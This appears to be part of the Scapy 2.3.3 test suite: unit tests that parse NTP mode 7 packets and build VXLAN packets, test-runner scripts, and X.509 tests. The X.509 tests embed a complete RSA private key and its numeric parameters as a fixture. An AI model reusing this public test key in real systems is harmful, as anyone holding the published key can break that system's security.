assert(p.request_code == 34) assert(p.nb_items == 1) assert(p.data_item_size == 60) assert(type(p.data[0]) == NTPInfoControl) assert(p.data[0].ctltimereset == 237) = NTP Private (mode 7) - REQ_GET_KERNEL (1) - request s = '\x17\x00\x03&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 38) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_GET_KERNEL (2) - response s = '\x97\x00\x03&\x00\x01\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4$\x00\x00\xf4$\x00 A\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 38) assert(p.nb_items == 1) assert(p.data_item_size == 60) assert(isinstance(p.data[0], NTPInfoKernel)) assert(p.data[0].maxerror == 16000000) assert(p.data[0].esterror == 16000000) assert(p.data[0].status == 8257) assert(p.data[0].constant == 3) assert(p.data[0].precision == 1) assert(p.data[0].tolerance == 32768000) = NTP Private (mode 7) - REQ_MON_GETLIST_1 (1) - request s = '\x17\x00\x03*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 42) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_MON_GETLIST_1 (2) - response s = '\xd7\x00\x03*\x00\x06\x00H\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x94mw\xe9\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x13\xb6\xa9J\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbb]\x81\xea\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xfc\xbf\xd5a\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbe\x10x\xa8\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xde[ng\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 42) assert(p.nb_items == 6) assert(p.data_item_size == 72) = NTP Private (mode 7) - REQ_IF_STATS (1) - request s = '\x17\x80\x03,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xeb\xdd\x8cH\xefe\x00\x00\x00\x01\x8b\xfb\x90u\xa8ad\xe8\x87\xca\xbf\x96\xd2\x9d\xddI' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 44) assert(p.nb_items == 0) assert(p.data_item_size == 0) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '8bfb9075a86164e887cabf96d29ddd49') = NTP Private (mode 7) - REQ_IF_STATS (2) - response s = "\xd7\x00\x03,\x00\x03\x00\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x01lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xe3\x81r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xa0\x1d\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x05\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00" p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 44) assert(p.err == 0) assert(p.nb_items == 3) assert(p.data_item_size == 136) assert(isinstance(p.data[0], NTPInfoIfStatsIPv6)) assert(p.data[0].unaddr == "::1") assert(p.data[0].unmask == "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff") assert(p.data[0].ifname.startswith("lo")) = NTP Private (mode 7) - REQ_IF_STATS (3) - response s = '\xd7\x01\x03,\x00\x03\x00\x88\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 44) assert(p.err == 0) assert(p.nb_items == 3) assert(p.data_item_size == 136) assert(isinstance(p.data[0], NTPInfoIfStatsIPv4)) assert(p.data[0].unaddr == "192.168.122.101") assert(p.data[0].unmask == "255.255.255.0") assert(p.data[0].ifname.startswith("eth1")) = NTP Private (mode 7) - REQ_IF_RELOAD (1) - request s = '\x17\x80\x03-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xed\xa3\xdc\x7f\xc6\x11\x00\x00\x00\x01\xfb>\x96*\xe7O\xf7\x8feh\xd4\x07L\xc0\x08\xcb' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 45) assert(p.nb_items == 0) assert(p.data_item_size == 0) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == 'fb3e962ae74ff78f6568d4074cc008cb') = NTP Private (mode 7) - REQ_IF_RELOAD (2) - response s = '\xd7\x00\x03-\x00\x03\x00\x88\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\t\x00\x02\x00\x01\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 45) assert(p.err == 0) assert(p.nb_items == 3) assert(p.data_item_size == 136) assert(isinstance(p.data[0], NTPInfoIfStatsIPv4)) assert(p.data[0].unaddr == "127.0.0.1") assert(p.data[0].unmask == "255.0.0.0") assert(p.data[0].ifname.startswith("lo")) ################################### VXLAN #################################### + VXLAN layer = Build a VXLAN packet with VNI of 42 str(UDP(sport=1024, dport=4789, len=None, chksum=None)/VXLAN(flags=0x08, vni=42)) == '\x04\x00\x12\xb5\x00\x10\x00\x00\x08\x00\x00\x00\x00\x00\x2a\x00' = Verify VXLAN Ethernet Binding str(VXLAN(vni=23)/Ether(dst="11:11:11:11:11:11", src="11:11:11:11:11:11", type=0x800)) == '\x0c\x00\x00\x03\x00\x00\x17\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x08\x00' = Verify UDP dport overloading p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0x8, vni=42) / Ether() / IP() p = Ether(str(p)) assert(p[UDP].dport == 8472) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet with next protocol field p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42, NextProtocol=3) / Ether() / IP() p = Ether(str(p)) assert(p[UDP].dport == 8472) assert(p[VXLAN].reserved0 == 0x0) assert(p[VXLAN].NextProtocol == 3) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet with no group policy ID p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0x8, vni=42) / Ether() / IP() p = Ether(str(p)) assert(p[VXLAN].reserved1 == 0x0) assert(p[VXLAN].gpid is None) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet with group policy ID = 42 p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0x88, gpid=42, vni=42) / Ether() / IP() p = Ether(str(p)) assert(p[VXLAN].gpid == 42) assert(p[VXLAN].reserved1 is None) assert(p[Ether:2].type == 0x800) scapy-2.3.3/test/run_tests000077500000000000000000000005701300136037300155670ustar00rootroot00000000000000#! /bin/sh DIR=$(dirname $0)/.. if python --version 2>&1 | grep -q '^Python 2'; then PYTHON=python else PYTHON=python2 fi if [ -z "$*" ] then PYTHONPATH=$DIR exec $PYTHON ${DIR}/scapy/tools/UTscapy.py -t regression.uts -f html -l -o /tmp/scapy_regression_test_$(date +%Y%m%d-%H%M%S).html else PYTHONPATH=$DIR exec $PYTHON ${DIR}/scapy/tools/UTscapy.py "$@" fi scapy-2.3.3/test/run_tests.bat000066400000000000000000000004561300136037300163340ustar00rootroot00000000000000@echo off set MYDIR=%cd%\.. set PYTHONPATH=%MYDIR% if [%1]==[] ( SET date=%DATE% python %MYDIR%\scapy\tools\UTscapy.py -t regression.uts -f html -o scapy_regression_test_%date:~6,4%_%date:~3,2%_%date:~0,2%.html ) else ( python %MYDIR%\scapy\tools\UTscapy.py %1 %2 %3 %4 %5 %6 %7 %8 %9 ) scapy-2.3.3/test/x509.uts000066400000000000000000000353031300136037300150570ustar00rootroot00000000000000% Tests for X.509 objects # # Try me with: # bash test/run_tests -t test/x509.uts -F ########### ASN.1 border case ####################################### + General BER decoding tests = Decoding an ASN.1 SEQUENCE with an unknown, high-tag identifier s = '\xff\x84\x92\xb9\x86H\x1e0\x1c\x16\x04BNCH\x04\x14\xb7\xca\x01wO\x9b\xbaz\xbb\xb5\x92\x87>T\xb2\xc3g\xc1]\xfb' p = ASN1P_PRIVSEQ(s) ########### Key class ############################################### + Private RSA & ECDSA keys class tests = Key class : Importing DER encoded RSA private key k='MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HL\nA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9\n/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd\nI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinM\nE1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI\n/1GXNMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCKvGiCEX2G\nesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPxXtex4ABX5o0Cd4NfZlZj\npj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXtKkDp9h1jTGGUOc189WACNoBLH0MGeVoS\nUfc1++RcC3cypUZ8fNP1OO6GBfv06f5oXES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3\nOcWv6IWdOmg2CI7MMBLJ0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+j\nYdkbHb3aBYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl3dE/\nymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7iTOUL6b4e3lQuHQn\nJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5uWmBllqAHZYR14DEYIdL+hdLrdvk5\nnYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMC\ngYBBwCUCF8rkDEWa/ximKo8aoNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsu\nG4/Nm/RBV1OYuNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi\nKgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23QxUBU0rYDxoKTd\nFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBGpUJHeDK+0748OcPUSPaG+pVI\nETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Q\ng2S+SgLE+F1U4Xws2rqAuSvIiuT5i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx\n0iljob6uFyhpl1xgW3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI'.decode('base64') x=RSAPrivateKey(k) = Key class : key version x.version == ASN1_INTEGER(0L) = Key class : key modulus x.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163L) = Key class : key public exponent x.publicExponent == ASN1_INTEGER(65537L) = Key class : key private exponent x.privateExponent == ASN1_INTEGER(15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833L) = Key class : key prime1 x.prime1 == ASN1_INTEGER(140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969L) = Key class : key prime2 x.prime2 == ASN1_INTEGER(136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027L) = Key class : key exponent1 x.exponent1 == ASN1_INTEGER(46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369L) = Key class : key exponent2 x.exponent2 == ASN1_INTEGER(58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269L) = Key class : key coefficient x.coefficient == ASN1_INTEGER(133642091354977099805228515340626956943759840737228695249787077343495440064451558090846230978708992851702164116059746794777336918772240719297253693109788134358485382183551757562334253896010728509892421673776502933574360356472723011839127418477652997263867089539752161307227878233961465798519818890416647361608L) ########### Cert class ############################################## + X509_Cert class tests = Cert class : Importing DER encoded X.509 Certificate with RSA public key c='MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYDVQQGEwJGUjEO\nMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEe\nMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0\nIGNlcnRpZmljYXRlMScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcN\nMDYwNzEzMDczODU5WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBh\ncmlzMQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNVBAsTFU11\nc2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkgVGVzdCBjZXJ0aWZpY2F0\nZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNocm9vbS5jb3JwMIIBIjANBgkqhkiG9w0B\nAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReD\nbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh